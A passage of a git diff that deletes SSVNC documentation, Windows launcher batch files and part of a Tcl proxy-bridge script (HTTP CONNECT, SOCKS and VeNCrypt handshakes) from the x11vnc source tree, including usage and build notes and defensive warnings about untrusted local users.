-One user on Windows created a BAT file to launch SSVNC and needed to
-do this to get the Home directory correct:
-
-cd \ssvnc\Windows
-start \ssvnc\Windows\ssvnc.exe
-
-(an optional profile name can be supplied to the ssvnc.exe line)
-
-WARNING: if you use ssvnc from an "Internet Cafe", i.e. an untrusted
-computer, an intruder may be capturing keystrokes etc.
-
-
-External Dependencies:
-----------------------
-
-On Windows everything is included. Let us know if you find otherwise.
-
-On Unix depending on what you do you need these programs installed:
-
- - basic unix utilities (sh, ls, cat, awk, sed, etc..)
- - tcl/tk (wish interpreter)
- - xterm
- - perl
- - ssh
- - openssl
-
- Lesser used ones: netcat, esd/artsd, smbclient, smbmount, cups
-
-On Mac OS X depending on what you do you need these programs installed:
-
- - basic unix utilities (sh, ls, cat, awk, sed, etc..)
- - tcl/tk (wish interpreter)
- - Terminal
- - perl
- - ssh
- - openssl
-
- Lesser used ones: netcat, smbclient, cups
-
-Most Mac OS X and Unix OS come with the main components installed.
-
-See the README.src for a more detailed description of dependencies.
-
-
-TurboVNC Support:
-----------------
-
-TurboVNC is supported in an experimental way. To it build via the
-build.unix script described in the next section, do something like:
-
- env TURBOVNC='-L/DIR -Xlinker --rpath=/DIR -lturbojpeg' ./build.unix
-
-where you replace /DIR with the directory where the libturbojpeg.so
-(http://sourceforge.net/project/showfiles.php?group_id=117509&package_id=166100)
-is installed.
-
-You may not need to set rpath if libturbojpeg.so is installed in a
-standard location or you use LD_LIBRARY_PATH to point to it.
-
-See the turbovnc/README in the vnc_unixsrc/vncviewer directory for
-more info. You can find it in the ssvnc source tarball and also
-in:
-
- src/zips/vnc_unixsrc_vncviewer.patched.tar
-
-More TurboVNC features will be enabled in the future.
-
-
-If you need to Build:
---------------------
-
-If your OS/arch is not included or the provided binary has the wrong
-library dependencies, etc. the script "build.unix" may be able to
-successfully build on for you and deposit the binaries down in ./bin/...
-using the included source code. It is a hack but usually works.
-
-You MUST run the build.unix script from this directory (that this toplevel
-README is in, i.e "ssvnc") and like this:
-
- ./build.unix
-
-To use custom locations for libraries see the LDFLAGS_OS and CPPFLAGS_OS
-description at the top of the build.unix script.
-
-You can set these env. vars to customize the build:
-
- SSVNC_BUILD_NO_STATIC=1 do not try to statically link libs
- SSVNC_BUILD_FORCE_OVERWRITE=1 do not prompt about existing binaries
- SSVNC_BUILD_SKIP_VIEWER=1 do not build vncviewer
- SSVNC_BUILD_SKIP_STUNNEL=1 do not build stunnel
- SSVNC_BUILD_ULTRAFTP=1 only build the file xfer helper jar
-
-here is an example to build only the vncviewer and with normal library
-linking (and in a more or less automated way):
-
- env SSVNC_BUILD_NO_STATIC=1 SSVNC_BUILD_FORCE_OVERWRITE=1 SSVNC_BUILD_SKIP_STUNNEL=1 ./build.unix
-
-Feel free to ask us if you need help running ./build.unix
-
-
-Convential Build:
-
-A more conventional source tarball is provided in ssvnc-x.y.z.src.tar.gz.
-It uses a more or less familiar 'make config; make all; make PREFIX=path install'
-method. It does not include stunnel, so that must be installed on the
-system separately.
-
-
-The programs:
-------------
-
-Unpack your archive, and you will see "bin", "Windows", "src" directories
-and other files. The command line wrapper scripts:
-
- ./bin/ssvnc_cmd
- ./bin/tightvncviewer
-
-are the main programs that are run and will try to autodetect your OS+arch
-combination and if binaries are present for it automatically use them.
-(if not found try the running the build.unix script).
-
-If you prefer a GUI to prompt for parameters and then start ssvnc_cmd
-you can run this instead:
-
- ./bin/ssvnc
-
-this is the same GUI that is run on Windows (the ssvnc.exe).
-There are also:
-
- ./bin/sshvnc (SSH-Only)
- ./bin/tsvnc (Terminal Services Mode)
-
-For convenience, you can make symlinks from a directory in your PATH to
-any of the 3 programs above you wish to run. That is all you usually
-need to do for it to pick up all of the binaries, utils, etc. E.g.
-assuming $HOME/bin is in your $PATH:
-
- cd $HOME/bin
- ln -s /path/to/ssvnc/bin/{s,t}* .
-
-(note the "." at the end). The above commands is basically the way to
-"install" this on Unix or MacOS X.
-
-Also links to the GUI launcher script are provided in:
-
- MacOSX/ssvnc
- Unix/ssvnc
-
-and sshvnc and tsvnc. You could also put the Unix or MacOSX directory
-in your PATH.
-
-
-On Windows unpack your archive and run:
-
- Windows/ssvnc.exe
-
-
-Examples:
---------
-
-The following assume you are in the toplevel directory of the
-archive you unpacked.
-
-Use enhanced TightVNC unix viewer to connect to x11vnc via SSL:
-
- ./bin/ssvnc_cmd far-away.east:0
-
- ./bin/tightvncviewer -ssl far-away.east:0 (same)
-
- ./bin/ssvnc (start GUI launcher)
-
-Use enhanced TightVNC unix viewer without SSL:
-
- ./bin/tightvncviewer far-away.east:0
-
-Use SSL to connect to a x11vnc server, and also verify the server's
-identity using the SSL Certificate in the file ./x11vnc.pem:
-
- ./bin/ssvnc_cmd -alpha -verify ./x11vnc.pem far-away.east:0
-
-(also turns on the viewer-side cursor alphablending hack).
-
-
-Brief description of the subdirectories:
----------------------------------------
-
- ./bin/util some utility scripts, e.g. ss_vncviewer
- and ssvnc.tcl
-
- ./src source code and patches.
- ./src/zips zip files of source code and binaries.
-
- ./src/vnc_unixsrc unpacked tightvnc source code tree.
- ./src/stunnel-4.14 unpacked stunnel source code tree.
- ./src/patches patches to TightVNC viewer for the new
- features on Unix (used by build.unix).
- ./src/tmp temporary build dir for build.unix
- (the last four are used by build.unix)
-
-
- ./man man pages for TightVNC viewer and stunnel.
-
- ./Windows Stock TightVNC viewer and Stunnel, Openssl
- etc Windows binaries. ssvnc.exe is the
- program to run.
-
- ./MacOSX contains an unpacked Chicken of the VNC
- viewer and a symlink to ssvnc.
-
- ./Unix contains a symlink to ssvnc.
-
-Depending on which bundle you use not all of the above may be present.
-The smallest bundles with binaries are:
-
- ssvnc_windows_only-1.x.y.zip Windows
- ssvnc_no_windows-1.x.y.tar.gz Unix and MacOSX
-
-however, the tiny scripts only one (only 60KB) will run properly on Unix
-as long as you install external vncviewer and stunnel packages:
-
- ssvnc_unix_minimal-1.x.y.tar.gz
-
-
-Untrusted Local Users:
----------------------
-
- *IMPORTANT WARNING*: If you run SSVNC on a workstation or computer
- that other users can log into and you DO NOT TRUST these users
- (it is a shame but sometimes one has to work in an environment like
- this), then please note the following warning.
-
- By 'do not trust' we mean they might try to gain access to remote
- machines you connect to via SSVNC. Note that an untrusted local
- user can often obtain root access in a short amount of time; if a
- user has achieved that, then all bets are off for ANYTHING that you
- do on the workstation. It is best to get rid of Untrusted Local
- Users as soon as possible.
-
- Both the SSL and SSH tunnels set up by SSVNC listen on certain ports
- on the 'localhost' address and redirect TCP connections to the remote
- machine; usually the VNC server running there (but it could also be
- another service, e.g. CUPS printing). These are the stunnel(8) SSL
- redirection and the ssh(1) '-L' port redirection. Because 'localhost'
- is used only users or programs on the same workstation that is
- running SSVNC can connect to these ports, however this includes any
- local users (not just the user running SSVNC.)
-
- If the untrusted local user tries to connect to these ports, he may
- succeed in varying degrees to gain access to the remote machine.
- We now list some safeguards one can put in place to try to make this
- more difficult to achieve.
-
- It probably pays to have the VNC server require a password, even
- though there has already been SSL or SSH authentication (via
- certificates or passwords). In general if the VNC Server requires
- SSL authentication of the viewer that helps, unless the untrusted
- local user has gained access to your SSVNC certificate keys.
-
- If the VNC server is configured to only allow one viewer connection
- at a time, then the window of opportunity that the untrusted local
- user can use is greatly reduced: he might only have a second or two
- between the tunnel being set up and the SSVNC vncviewer connecting
- to it (i.e. if the VNC server only allows a single connection, the
- untrusted local user cannot connect once your session is established).
- Similarly, when you disconnect the tunnel is torn down quickly and
- there is little or no window of opportunity to connect (e.g. x11vnc
- in its default mode exits after the first client disconnects).
-
- Also for SSL tunnelling with stunnel(8) on Unix using one of the SSVNC
- prebuilt 'bundles', a patched stunnel is provided that denies all
- connections after the first one, and exits when the first one closes.
- This is not true if the system installed stunnel(8) is used and is
- not true when using SSVNC on Windows.
-
- The following are two experimental features that are added to SSVNC
- to improve the situation for the SSL/stunnel case. Set them via
- Options -> Advanced -> "STUNNEL Local Port Protections".
-
- 1) For SSL tunnelling with stunnel(8) on Unix there is a setting
- 'Use stunnel EXEC mode' (experimental) that will try to exec(2)
- stunnel instead of using a listening socket. This will require
- using the specially modified vncviewer unix viewer provided
- by SSVNC. If this mode proves stable it will become the default.
-
- 2) For SSL tunnelling with stunnel(8) on Unix there is a setting
- 'Use stunnel IDENT check' (experimental) to limit socket
- connections to be from you (this assumes the untrusted local
- user has not become root on your workstation and has modified
- your local IDENT check service; if he has you have much bigger
- problems to worry about...)
-
- There is also one simple LD_PRELOAD trick for SSH to limit the number
- of accepted port redirection connections. This makes the window of
- time the untrusted local user can connect to the tunnel much smaller.
- Enable it via Options -> Advanced -> "SSH Local Port Protections".
- You will need to have the lim_accept.so file in your SSVNC package.
-
- The main message is to 'Watch your Back' when you connect via the
- SSVNC tunnels and there are users you don't trust on your workstation.
- The same applies to ANY use of SSH '-L' port redirections or outgoing
- stunnel SSL redirection services.
-
-
-Help and Info:
--------------
-
-For more help on other options and usage patterns run these:
-
- ./bin/ssvnc_cmd -h
- ./bin/util/ss_vncviewer -h
-
-See also:
-
- http://www.karlrunge.com/x11vnc
- http://www.karlrunge.com/x11vnc/faq.html
- x11vnc -h | more
-
- http://stunnel.mirt.net
- http://www.stunnel.org
- http://www.openssl.org
- http://www.tightvnc.com
- http://www.realvnc.com
- http://www.chiark.greenend.org.uk/~sgtatham/putty/
- http://sourceforge.net/projects/cotvnc/
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt
deleted file mode 100644
index 4d816d2..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt
+++ /dev/null
@@ -1,72 +0,0 @@
-
-This is a Windows utility to automatically start up STUNNEL to redirect
-SSL VNC connections to a remote host. Then TightVNC Viewer (included)
-is launched to use this SSL tunnel.
-
-An example server would be "x11vnc -ssl", or any VNC server with a
-2nd STUNNEL program running on the server side.
-
-Just click on the program "ssvnc.exe", and then enter the remote
-VNC Server and click "Connect". Click on "Help" for more information
-information. You can also set some simple options under "Options ..."
-
-If you want that application to run in "SSH-ONLY" mode, click on
-the "sshvnc.bat" wrapper instead. Or enter SSH_ONLY.
-
-Note that on Windows when the TightVNC viewer disconnects you may need to
-terminate the STUNNEL program manually. To do this: Click on the STUNNEL
-icon (dark green) on the System Tray and then click "Exit". Before that,
-however, you will be prompted if you want ssvnc.exe to try to terminate
-STUNNEL for you. (Note that even if STUNNEL termination is successful,
-the Tray Icon may not go away until the mouse hovers over it!)
-
-With this STUNNEL and TightVNC Viewer wrapper you can also enable using
-SSL Certificates with STUNNEL, and so the connection is not only encrypted
-but it is also not susceptible to man-in-the-middle attacks.
-
-See the STUNNEL and x11vnc documentation for how to create and add SSL
-Certificates (PEM files) for authentication. Click on the "Certs ..."
-button to specify the certificate(s). See the Help there for more info
-and also:
-
- http://www.karlrunge.com/x11vnc
- http://www.tightvnc.com
- http://www.stunnel.org
- http://www.openssl.org
- http://www.chiark.greenend.org.uk/~sgtatham/putty/
-
-You can use x11vnc to create certificates if you like:
-
- http://www.karlrunge.com/x11vnc/faq.html#faq-ssl-ca
-
-
-Misc:
-
- The openssl.exe stunnel.exe vncviewer.exe libeay32.dll
- libssl32.dll programs came from the websites mentioned above.
-
- IMPORTANT: some of these binaries may have cryptographic
- software that you may not be allowed to download or use.
- See the above websites for more information and also the
- util/info subdirectories.
-
- Also, the kill.exe and tlist.exe programs in the w98 directory
- came from diagnostic tools ftp site of Microsoft's.
-
-
-
-Important Note for Windows Vista: One user reports that on Windows Vista
-if you move or extract the "ssvnc" folder down to the "Program Files"
-folder you will be prompted to do this as the Administrator. But then
-when you start up ssvnc, as a regular user, it cannot create files in
-that folder and so it fails to run properly. We recommend to not copy
-or extract the "ssvnc" folder into "Program Files". Rather, extract
-it to somewhere you have write permission (e.g. C:\ or your User dir)
-and create a Shortcut to ssvnc.exe on the desktop.
-
-If you must put a launcher file down in "Program Files", perhaps an
-"ssvnc.bat" that looks like this:
-C:
-cd \ssvnc\Windows
-ssvnc.exe
-
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat
deleted file mode 100644
index 9cd2d9e..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat
+++ /dev/null
@@ -1 +0,0 @@
-start ssvnc.exe -ssh %1 %2 %3 %4 %5 %6 %7 %8 %9
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat
deleted file mode 100644
index 1331d02..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat
+++ /dev/null
@@ -1 +0,0 @@
-start ssvnc.exe -ts %1 %2 %3 %4 %5 %6 %7 %8 %9
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl b/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl
deleted file mode 100755
index ec2e0b0..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl
+++ /dev/null
@@ -1,1271 +0,0 @@
-#!/usr/bin/wish
-
-proc check_callback {} {
- global debug
- if {$debug} {
- puts stderr "."
- }
- check_closed
- after 1000 check_callback
-}
-
-proc getout {} {
- global client_fh server_fh
-
- set delay 50
- catch {flush $client_fh}
- after $delay
- catch {close $client_fh}
- set client_fh ""
- after $delay
- catch {flush $server_fh}
- after $delay
- catch {close $server_fh}
- set server_fh ""
- after $delay
-
- global bmesg_cnt
- if [info exists bmesg_cnt] {
- catch {tkwait window .bmesg$bmesg_cnt}
- }
- destroy .
- exit
-}
-
-proc check_closed {} {
- global got_connection debug
- global client_fh server_fh
-
- if {! $got_connection} {
- return
- }
- if {$client_fh != ""} {
- set ef ""
- catch {set ef [eof $client_fh]}
- if {$ef == 1} {
- if {$debug} {
- puts stderr "client_fh EOF"
- }
- getout
- }
- }
- if {$server_fh != ""} {
- set ef ""
- catch {set ef [eof $server_fh]}
- if {$ef == 1} {
- if {$debug} {
- puts stderr "server_fh EOF"
- }
- getout
- }
- }
-}
-
-proc xfer_in_to_out {} {
- global client_fh server_fh debug do_bridge
- if {$client_fh != "" && ![eof $client_fh]} {
- set ef ""
- catch {set ef [eof $client_fh]}
- if {$ef == 0} {
- set str ""
- catch {set str [read $client_fh 4096]}
- if {$debug} {
- #puts stderr "xfer_in_to_out: $str"
- puts stderr "xfer_in_to_out: [string length $str]"
- }
- if {$server_fh != "" && $str != ""} {
- catch {puts -nonewline $server_fh $str}
- catch {flush $server_fh}
- }
- }
- }
- check_closed
-}
-
-proc xfer_out_to_in {} {
- global client_fh server_fh debug do_bridge
- if {$server_fh != ""} {
- set ef ""
- catch {set ef [eof $server_fh]}
- if {$ef == 0} {
- set str ""
- catch {set str [read $server_fh 4096]}
- if {$debug} {
- #puts stderr "xfer_out_to_in: $str"
- puts stderr "xfer_out_to_in: [string length $str]"
- }
- if {$client_fh != "" && $str != ""} {
- catch {puts -nonewline $client_fh $str}
- catch {flush $client_fh}
- }
- }
- }
- check_closed
-}
-
-proc bmesg {msg} {
- global env
- if {! [info exists env(BMESG)]} {
- return
- }
- if {$env(BMESG) == 0} {
- return
- }
-
- global bmesg_cnt
- if {! [info exists bmesg_cnt]} {
- set bmesg_cnt 0
- }
- incr bmesg_cnt
- set w .bmesg$bmesg_cnt
- catch {destroy $w}
- toplevel $w
- label $w.l -width 70 -text "$msg"
- pack $w.l
- update
- if {$env(BMESG) > 1} {
- for {set i 0} {$i < $env(BMESG)} {incr i} {
- after 1000
- update
- }
- }
-}
-
-proc do_connect_http {sock hostport which} {
- global debug cur_proxy
- set con ""
- append con "CONNECT $hostport HTTP/1.1\r\n"
- append con "Host: $hostport\r\n"
- append con "Connection: close\r\n\r\n"
-
- puts stderr "pxy=$which CONNECT $hostport HTTP/1.1 via $cur_proxy"
- bmesg "H: $which CONNECT $hostport HTTP/1.1 $cur_proxy";
-
- puts -nonewline $sock $con
- flush $sock
-
- set r ""
- set cnt 0
- while {1} {
- incr cnt
- set c [read $sock 1]
- if {$c == ""} {
- check_closed
- after 20
- }
- append r $c
- if {[regexp "\r\n\r\n" $r] || [regexp "a--no--\n\n" $r]} {
- break
- }
- if {$cnt > 30000} {
- break
- }
- }
- if {! [regexp {HTTP/.* 200} $r]} {
- puts stderr "did not find HTTP 200 #1"
- destroy .
- exit 1
- }
-}
-
-proc do_connect_socks4 {sock hostport which} {
- global debug cur_proxy
-
- set host ""
- set port ""
- if [regexp {^(.*):([0-9][0-9]*)$} $hostport mvar host port] {
- ;
- } else {
- puts stderr "could not parse host:port $hostport"
- destroy .
- exit 1
- }
-
- set i1 ""
- set i2 ""
- set i3 ""
- set i4 ""
-
- set socks4a 0
-
- if {$host == "localhost" || $host == "127.0.0.1"} {
- set i1 127
- set i2 0
- set i3 0
- set i4 1
-
- } elseif [regexp {^[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*\.[0-9][0-9]*$} $host] {
- set n [split $host "."]
- set i1 [lindex $n 0]
- set i2 [lindex $n 1]
- set i3 [lindex $n 2]
- set i4 [lindex $n 3]
- } else {
- set i1 0
- set i2 0
- set i3 0
- set i4 3
-
- set socks4a 1
- }
-
- if {$socks4a} {
- puts stderr "pxy=$which socks4a connection to $host:$port via $cur_proxy"
- } else {
- puts stderr "pxy=$which socks4 connection to $host:$port via $cur_proxy"
- }
-
- set p1 [binary format ccScccc 4 1 $port $i1 $i2 $i3 $i4]
- set p2 "nobody"
- set p3 [binary format c 0]
-
- puts -nonewline $sock $p1
- puts -nonewline $sock $p2
- puts -nonewline $sock $p3
- if {$socks4a} {
- puts -nonewline $sock $host
- puts -nonewline $sock $p3
- }
- flush $sock
-
- set r ""; set s ""; set i 0; set cnt 0
- set ok 1
- while {$cnt < 30000 && $i < 8} {
- incr cnt
- set c [read $sock 1]
- if {$c == ""} {
- check_closed
- after 20
- continue
- }
-
- binary scan $c c s
- if {$i == 0 && $s != 0} {
- puts stderr "socks4: $i - $s"
- set ok 0
- }
- if {$i == 1 && $s != 90} {
- puts stderr "socks4: $i - $s"
- set ok 0
- }
- set r "$r,$s"
- incr i
- }
- if {! $ok} {
- puts stderr "socks4 failure: $r"
- destroy .
- exit 1
- }
-}
-
-proc do_connect_socks5 {sock hostport which} {
- global debug cur_proxy
-
- set host ""
- set port ""
- if [regexp {^(.*):([0-9][0-9]*)$} $hostport mvar host port] {
- ;
- } else {
- puts stderr "could not parse host:port $hostport"
- destroy .
- exit 1
- }
-
- set p1 [binary format ccc 5 1 0]
- puts -nonewline $sock $p1
- flush $sock
-
- set r ""; set s ""; set i 0; set cnt 0
- set ok 1
- while {$cnt < 30000 && $i < 2} {
- incr cnt
- set c [read $sock 1]
- if {$c == ""} {
- check_closed
- after 20
- continue
- }
-
- binary scan $c c s
- if {$i == 0 && $s != 5} {
- puts stderr "$i - $s"
- set ok 0
- }
- if {$i == 1 && $s != 0} {
- puts stderr "$i - $s"
- set ok 0
- }
- set r "$r,$s"
- incr i
- }
- if {! $ok} {
- puts stderr "socks5 failure: $r"
- destroy .
- exit 1
- }
-
- set len [string length $host]
- set p1 [binary format ccccc 5 1 0 3 $len]
- set p2 $host
-
- set n1 [expr int($port/256)]
- set n2 [expr "$port - $n1 * 256"]
- set p3 [binary format cc $n1 $n2]
-
- puts stderr "pxy=$which socks5 connection to $host:$port via $cur_proxy"
-
- puts -nonewline $sock $p1
- puts -nonewline $sock $p2
- puts -nonewline $sock $p3
- flush $sock
-
- set i1 ""; set i2 ""; set i3 ""; set i4 ""
- set r ""; set s ""; set i 0; set cnt 0
- set ok 1
- while {$cnt < 30000 && $i < 4} {
- incr cnt
- set c [read $sock 1]
- if {$c == ""} {
- check_closed
- after 20
- continue
- }
-
- binary scan $c c s
- if {$i == 0} {
- set i1 $s
- } elseif {$i == 1} {
- set i2 $s
- } elseif {$i == 2} {
- set i3 $s
- } elseif {$i == 3} {
- set i4 $s
- }
- incr i
- }
- set r "i1=$i1,i2=$i2,i3=$i3,i4=$i4"
-
- if {$i4 == 1} {
- set n 6
- } elseif {$i4 == 3} {
- set c ""
- for {set i 0} {$i < 1000} {incr i} {
- set c [read $sock 1]
- if {$c == ""} {
- check_closed
- after 20
- continue
- }
- break;
- }
- if {$c == ""} {
- puts stderr "socks5 failure c: $r"
- destroy .
- exit 1
- }
- binary scan $c c s
- set n [expr $s + 2]
- } elseif {$i4 == 4} {
- set n 18
- } else {
- puts stderr "socks5 failure x: $r"
- destroy .
- exit 1
- }
- #puts "n=$n --- $r"
-
- set i 0; set cnt 0
- while {$cnt < 30000 && $i < $n} {
- incr cnt
- set c [read $sock 1]
- if {$c == ""} {
- check_closed
- after 20
- continue
- }
- incr i
- }
- if {$i1 != 5 || $i2 != 0 || $i3 != 0} {
- puts stderr "socks failure $r"
- destroy .
- exit 1
- }
-}
-
-proc do_connect_repeater {sock hostport which repeater} {
- global debug cur_proxy
-
- # 250 is UltraVNC buffer size.
- set con [binary format a250 $repeater]
-
- puts stderr "pxy=$which REPEATER $repeater via $cur_proxy"
- bmesg "R: $which CONNECT $hostport | $repeater $cur_proxy";
-
- puts -nonewline $sock $con
- flush $sock
-
- set r ""
- set cnt 0
- while {1} {
- incr cnt
- set c [read $sock 1]
- if {$c == ""} {
- check_closed
- after 20
- }
- append r $c
- if {[string length $r] >= 12} {
- puts stderr "do_connect_repeater: $r"
- break
- }
- if {$cnt > 30000} {
- break
- }
- }
-}
-
-proc vread {n sock} {
- set str ""
- set max 3000
- set dt 10
- set i 0
- set cnt 0
- while {$cnt < $max && $i < $n} {
- incr cnt
- set c [read $sock 1]
- if {$c == ""} {
- check_closed
- after $dt
- continue
- }
- incr i
- append str $c
- }
- if {$i != $n} {
- puts stderr "vread failure $n $i"
- destroy .; exit 1
- }
- return $str
-}
-
-proc append_handshake {str} {
- global env
- if [info exists env(SSVNC_PREDIGESTED_HANDSHAKE)] {
- set file $env(SSVNC_PREDIGESTED_HANDSHAKE)
- set fh ""
- catch {set fh [open $file a]}
- if {$fh != ""} {
- puts $fh $str
- catch {close $fh}
- }
- }
-}
-
-proc vencrypt_bridge_connection {fh host port} {
- puts stderr "vencrypt_bridge_connection: got connection $fh $host $port"
- bmesg "vencrypt_bridge_connection: got connection $fh $host $port"
- global viewer_sock
- set viewer_sock $fh
-}
-
-proc center_win {w} {
- update
- set W [winfo screenwidth $w]
- set W [expr $W + 1]
- wm geometry $w +$W+0
- update
- set x [expr [winfo screenwidth $w]/2 - [winfo width $w]/2]
- set y [expr [winfo screenheight $w]/2 - [winfo height $w]/2]
-
- wm geometry $w +$x+$y
- wm deiconify $w
- update
-}
-
-
-proc get_user_pass {} {
- global env
- set up ""
- if [info exists env(SSVNC_UNIXPW)] {
- set rm 0
- set up $env(SSVNC_UNIXPW)
- if [regexp {^rm:} $up] {
- set rm 1
- regsub {^rm:} $up "" up
- }
- if [file exists $up] {
- set fh ""
- set f $up
- catch {set fh [open $up r]}
- if {$fh != ""} {
- gets $fh u
- gets $fh p
- catch {close $fh}
- set up "$u@$p"
- }
- if {$rm} {
- catch {file delete $f}
- }
- }
- } elseif [info exists env(SSVNC_VENCRYPT_USERPASS)] {
- set up $env(SSVNC_VENCRYPT_USERPASS)
- }
- if {$up != ""} {
- return $up
- }
-
- toplevel .t
- wm title .t {VeNCrypt Viewer Bridge User/Pass}
-
- global user pass
- set user ""
- set pass ""
- label .t.l -text {SSVNC VeNCrypt Viewer Bridge}
-
- frame .t.f0
- frame .t.f0.fL
- label .t.f0.fL.la -text {Username: }
- label .t.f0.fL.lb -text {Password: }
-
- pack .t.f0.fL.la .t.f0.fL.lb -side top
-
- frame .t.f0.fR
- entry .t.f0.fR.ea -width 24 -textvariable user
- entry .t.f0.fR.eb -width 24 -textvariable pass -show *
-
- pack .t.f0.fR.ea .t.f0.fR.eb -side top -fill x
-
- pack .t.f0.fL -side left
- pack .t.f0.fR -side right -expand 1 -fill x
-
- button .t.no -text Cancel -command {set user ""; set pass ""; destroy .t}
- button .t.ok -text Done -command {destroy .t}
-
- center_win .t
- pack .t.l .t.f0 .t.no .t.ok -side top -fill x
- update
- wm deiconify .t
-
- bind .t.f0.fR.ea <Return> {focus .t.f0.fR.eb}
- bind .t.f0.fR.eb <Return> {destroy .t}
- focus .t.f0.fR.ea
-
- wm resizable .t 1 0
- wm minsize .t [winfo reqwidth .t] [winfo reqheight .t]
-
- tkwait window .t
- if {$user == "" || $pass == ""} {
- return ""
- } else {
- return "$user@$pass"
- }
-}
-
-proc do_vencrypt_viewer_bridge {listen connect} {
- global env
-
- #set env(BMESG) 1
-
- vencrypt_constants
-
- set backwards 0
-
- if {! [info exists env(SSVNC_PREDIGESTED_HANDSHAKE)]} {
- puts stderr "no SSVNC_PREDIGESTED_HANDSHAKE filename in environment."
- destroy .; exit 1
- }
- set handshake $env(SSVNC_PREDIGESTED_HANDSHAKE)
- bmesg $handshake
-
- if {$listen < 0} {
- set backwards 1
- set listen [expr -$listen]
- }
-
- # listen on $listen
- global viewer_sock
- set viewer_sock ""
- set lsock ""
- set rc [catch {set lsock [socket -myaddr 127.0.0.1 -server vencrypt_bridge_connection $listen]}]
- if {$rc != 0} {
- puts stderr "error listening on 127.0.0.1:$listen"
- destroy .; exit 1
- }
- bmesg "listen on $listen OK"
-
- # accept
- vwait viewer_sock
- catch {close $lsock}
- fconfigure $viewer_sock -translation binary -blocking 0
-
- global got_connection
- set got_connection 1
-
- # connect to $connect
- set server_sock ""
- set rc [catch {set server_sock [socket 127.0.0.1 $connect]}]
- if {$rc != 0} {
- puts stderr "error connecting to 127.0.0.1:$connect"
- destroy .; exit 1
- }
- bmesg "made connection to $connect"
- fconfigure $server_sock -translation binary -blocking 0
-
- if {$backwards} {
- puts stderr "reversing roles of viewer and server"
- set t $viewer_sock
- set viewer_sock $server_sock
- set server_sock $t
- }
-
- # wait for SSVNC_PREDIGESTED_HANDSHAKE "done", put in hash.
- set dt 200
- set slept 0
- set maxwait 20000
- set hs(mode) init
- while {$slept < $maxwait} {
- after $dt
- set slept [expr $slept + $dt]
- set done 0
- set fh ""
- catch {set fh [open $handshake r]}
- set str ""
- if {$fh != ""} {
- array unset hs
- while {[gets $fh line] > -1} {
- set line [string trim $line]
- set str "$str$line\n";
- if {$line == "done"} {
- set done 1
- } elseif [regexp {=} $line] {
- set s [split $line "="]
- set key [lindex $s 0]
- set val [lindex $s 1]
- set hs($key) $val
- }
- }
- catch {close $fh}
- }
- if {$done} {
- puts stderr $str
- bmesg "$str"
- break
- }
- }
-
- catch [file delete $handshake]
-
- if {! [info exists hs(sectype)]} {
- puts stderr "no hs(sectype) found"
- destroy .; exit 1
- }
-
- # read viewer RFB
- if {! [info exists hs(server)]} {
- set hs(server) "RFB 003.008"
- }
- puts -nonewline $viewer_sock "$hs(server)\n"
- flush $viewer_sock
- puts stderr "sent $hs(server) to viewer sock."
-
- set viewer_rfb [vread 12 $viewer_sock]
- puts stderr "read viewer_rfb $viewer_rfb"
-
- set viewer_major 3
- set viewer_minor 8
- if [regexp {^RFB 003\.0*([0-9][0-9]*)} $viewer_rfb m v] {
- set viewer_minor $v
- }
-
- if {$hs(sectype) == $rfbSecTypeAnonTls} {
- puts stderr "handling rfbSecTypeAnonTls"
- if {$viewer_major > 3 || $viewer_minor >= 7} {
- puts stderr "viewer >= 3.7, nothing to set up."
- } else {
- puts stderr "viewer <= 3.3, faking things up."
- set t [vread 1 $server_sock]
- binary scan $t c nsectypes
- puts stderr "nsectypes=$nsectypes"
- for {set i 0} {$i < $nsectypes} {incr i} {
- set t [vread 1 $server_sock]
- binary scan $t c st
- puts stderr " $i: $st"
- set types($st) $i
- }
- set use 1
- if [info exists types(1)] {
- set use 1
- } elseif [info exists types(2)] {
- set use 2
- } else {
- puts stderr "no valid sectypes"
- destroy .; exit 1
- }
- # this should be MSB:
- vsend_uchar $viewer_sock 0
- vsend_uchar $viewer_sock 0
- vsend_uchar $viewer_sock 0
- vsend_uchar $viewer_sock $use
-
- vsend_uchar $server_sock $use
- if {$use == 1} {
- set t [vread 4 $server_sock]
- }
- }
- } elseif {$hs(sectype) == $rfbSecTypeVencrypt} {
- puts stderr "handling rfbSecTypeVencrypt"
- if {! [info exists hs(subtype)]} {
- puts stderr "no subtype"
- destroy .; exit 1
- }
- set fake_type "None"
- set plain 0
-
- set sub_type $hs(subtype)
-
-
- if {$sub_type == $rfbVencryptTlsNone} {
- set fake_type "None"
- } elseif {$sub_type == $rfbVencryptTlsVnc} {
- set fake_type "VncAuth"
- } elseif {$sub_type == $rfbVencryptTlsPlain} {
- set fake_type "None"
- set plain 1
- } elseif {$sub_type == $rfbVencryptX509None} {
- set fake_type "None"
- } elseif {$sub_type == $rfbVencryptX509Vnc} {
- set fake_type "VncAuth"
- } elseif {$sub_type == $rfbVencryptX509Plain} {
- set fake_type "None"
- set plain 1
- }
-
- if {$plain} {
- set up [get_user_pass]
- if [regexp {@} $up] {
- set user $up
- set pass $up
- regsub {@.*$} $user "" user
- regsub {^[^@]*@} $pass "" pass
- vsend_uchar $server_sock 0
- vsend_uchar $server_sock 0
- vsend_uchar $server_sock 0
- vsend_uchar $server_sock [string length $user]
- vsend_uchar $server_sock 0
- vsend_uchar $server_sock 0
- vsend_uchar $server_sock 0
- vsend_uchar $server_sock [string length $pass]
- puts stderr "sending VencryptPlain user and pass."
- puts -nonewline $server_sock $user
- puts -nonewline $server_sock $pass
- flush $server_sock
- }
- }
- set ft 0
- if {$fake_type == "None"} {
- set ft 1
- } elseif {$fake_type == "VncAuth"} {
- set ft 2
- } else {
- puts stderr "no valid fake_type"
